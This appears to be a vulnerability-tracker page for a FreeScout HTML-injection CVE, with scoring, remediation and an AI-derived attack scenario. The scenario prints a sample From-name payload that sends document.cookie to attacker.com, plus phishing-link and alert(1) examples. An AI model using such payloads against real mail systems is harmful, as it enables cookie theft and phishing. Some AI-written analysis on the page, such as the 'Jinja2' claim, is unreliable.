Skip to main content

FreeScout EUVDEUVD-2026-24168

| CVE-2026-40567 MEDIUM
Improper Encoding or Escaping of Output (CWE-116)
2026-04-21 GitHub_M
5.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Send email with crafted From display name
  2. Delivery
    FreeScout stores unsanitized name in database
  3. Exploit
    Support agent replies to ticket
  4. Install
    Reply template renders {%customer.fullName%} without escaping
  5. C2
    Injected HTML sent in outgoing email
  6. Execute
    Recipient's email client executes embedded scripts or follows phishing links
  7. Impact
    Trust compromised or credentials stolen

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding for downstream
Exploitation Conditions

The attack requires: (1) the target FreeScout instance to accept inbound emails from external sources (standard configuration for help desk software), (2) a support agent to open and reply to the crafted email (user interaction by support staff, not the attacker), and (3) the outgoing reply email to be rendered with HTML enabled in the recipient's email client (standard for most email clients). No special FreeScout configuration, feature enablement, or authentication is required from the attacker's perspective. The vulnerability exists in default configurations and affects any FreeScout instance with external email ingestion enabled. The limiting factor is user interaction: a support agent must initiate a reply for the injected HTML to be sent to the customer, so automated or silent exploitation is not possible. However, this is a low friction requirement in active help desk environments where agents regularly respond to inbound tickets.

Impact

CVSS score of 5.8 (Medium) with network access, low complexity, and no authentication required correctly reflects the ease of exploitation. The integrity impact (I:L) is appropriate for HTML injection enabling phishing and content spoofing. However, the scope change (S:C) may overstate impact in email context since the injected HTML affects email recipients, not the FreeScout application itself. EPSS or KEV status is not provided, preventing assessment of real-world exploitation prevalence. The attack requires user interaction from support agents (they must reply to the crafted email), which reduces raw severity. Real-world risk is moderate: an attacker can compromise email thread integrity and customer trust by injecting phishing links into seemingly legitimate support communications, but the attack does not execute code on the server or steal data directly. The lack of authentication requirement and straightforward exploit method (send email with crafted From name) make this a practical attack against any FreeScout instance receiving external emails. Organizations with strict email content filtering or those using email clients that disable HTML rendering mitigate this risk significantly.

Exploit ScenarioDerived

An attacker sends a phishing email to a FreeScout support inbox with a crafted From display name such as 'Customer <img src=x onerror="fetch(attacker.com/steal?cookie=" + document.cookie + ")">' or 'Support Team Member <a href="https://phishing-site.com">Verify Your Account</a>'. When a FreeScout support agent opens the ticket and replies with an auto-generated response that includes the customer's name in the signature, the injected HTML renders in the outgoing email. The recipient (actual customer) receives what appears to be a legitimate support reply from the organization but containing injected phishing links or malicious scripts, compromising trust and enabling credential theft or malware delivery.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 21, 2026

HTML injection in FreeScout prior to version 1.8.213 allows unauthenticated attackers to inject arbitrary HTML into outgoing support emails by crafting a malicious From display name. The unsanitized name is stored in the database and rendered unescaped via the {%customer.fullName%} template variable in reply emails, enabling attackers to embed phishing links, tracking pixels, and spoofed content in emails sent from the organization's legitimate address. No public exploit code identified at time of analysis.

RemediationAI

Upgrade FreeScout to version 1.8.213 or later immediately. The patch implements HTML entity encoding or output escaping for the {%customer.fullName%} template variable and sanitizes the From display name upon storage. If immediate upgrade is not possible, apply input validation and sanitization at the email ingestion point to strip or escape HTML-like characters from sender display names before database storage, though this may alter legitimate sender names containing special characters and is not a complete mitigation. Alternatively, configure email client or server-side filters to strip HTML from inbound email metadata fields, though this is a host-based workaround requiring client-side enforcement. The primary and only recommended fix is the vendor-released patch in version 1.8.213. See https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-q8v4-v62h-5528 for advisory details.

Affected VersionsENISA

freescout < 1.8.213

Affected Packages

euvd freescout fix: 1.8.213

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

FreeScout is a self-hosted help desk application that processes inbound emails and generates templated outgoing replies. The vulnerability exists in the email template rendering pipeline: user-supplied email metadata (the From field's display name) is stored directly in the database without HTML entity encoding or sanitization. When FreeScout generates outgoing reply emails using Jinja2 or similar template syntax, it renders the customer's full name via the {%customer.fullName%} variable into the email body without output escaping. This is a Improper Output Neutralization for Web (CWE-116 / Cross-site Scripting equivalent in email context) issue. The attack vector is network-based: any attacker can send an email to the FreeScout instance with a crafted From display name containing HTML markup (e.g., "<img src=x onerror='alert(1)'> Attacker Name"), and when a support agent replies, that HTML is injected into the outgoing email sent to the customer, executed by the recipient's email client.

Know when Freescout gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.8 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

3
Patch released
Apr 22, 2026 - 21:10 nvd
Patch available
Patch available
Apr 21, 2026 - 18:01 EUVD
CVE Published
Apr 21, 2026 - 16:06 nvd
MEDIUM 5.8

DescriptionGitHub Advisory

FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, an unauthenticated attacker can inject arbitrary HTML into outgoing emails generated by FreeScout by sending an email with a crafted From display name. The name is stored in the database without sanitization and rendered unescaped into outgoing reply emails via the {%customer.fullName%} signature variable. This allows embedding phishing links, tracking pixels, and spoofed content inside legitimate support emails sent from the organization's address. Version 1.8.213 fixes the issue.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

29
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +29
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

CVE-2026-28289 CRITICAL POC
10.0 Mar 03

File upload bypass in FreeScout 1.8.206 — patch bypass for CVE-2026-27636. PoC and patch available. CVSS 10.0.

CVE-2026-27636 HIGH POC
8.8 Feb 25

Remote code execution in FreeScout prior to version 1.8.206 allows authenticated users to upload `.htaccess` files that

CVE-2026-27637 CRITICAL POC
9.8 Feb 25

Predictable password reset tokens in FreeScout help desk before 1.8.206. Weak random number generation allows attackers

CVE-2026-53595 CRITICAL POC
9.4 Jul 20

Anonymous account takeover in FreeScout help desk before 1.8.224 lets an unauthenticated attacker seize the lowest-id ac

CVE-2024-29185 CRITICAL POC
9.0 Mar 22

FreeScout is a self-hosted help desk and shared mailbox. Rated critical severity (CVSS 9.0), this vulnerability is remot

CVE-2025-58163 HIGH POC
8.6 Sep 03

FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Rated high severity (CVSS 8.6), this

CVE-2024-29184 HIGH POC
8.0 Mar 22

FreeScout is a self-hosted help desk and shared mailbox. Rated high severity (CVSS 8.0), this vulnerability is remotely

CVE-2024-28186 HIGH POC
7.1 Mar 12

FreeScout is an open source help desk and shared inbox built with PHP. Rated high severity (CVSS 7.1), this vulnerabilit

CVE-2024-34698 MEDIUM POC
6.3 May 14

FreeScout is a free, self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.3), this vulnerability is r

CVE-2024-34697 MEDIUM POC
6.1 May 14

FreeScout is a free, self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.1), this vulnerability is r

CVE-2026-32754 CRITICAL
9.3 Mar 19

A stored cross-site scripting (XSS) vulnerability exists in FreeScout help desk software versions 1.8.208 and below, whe

CVE-2026-41193 CRITICAL
9.1 Apr 21

Arbitrary file write in FreeScout (prior to 1.8.215) allows authenticated administrators to achieve remote code executio

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy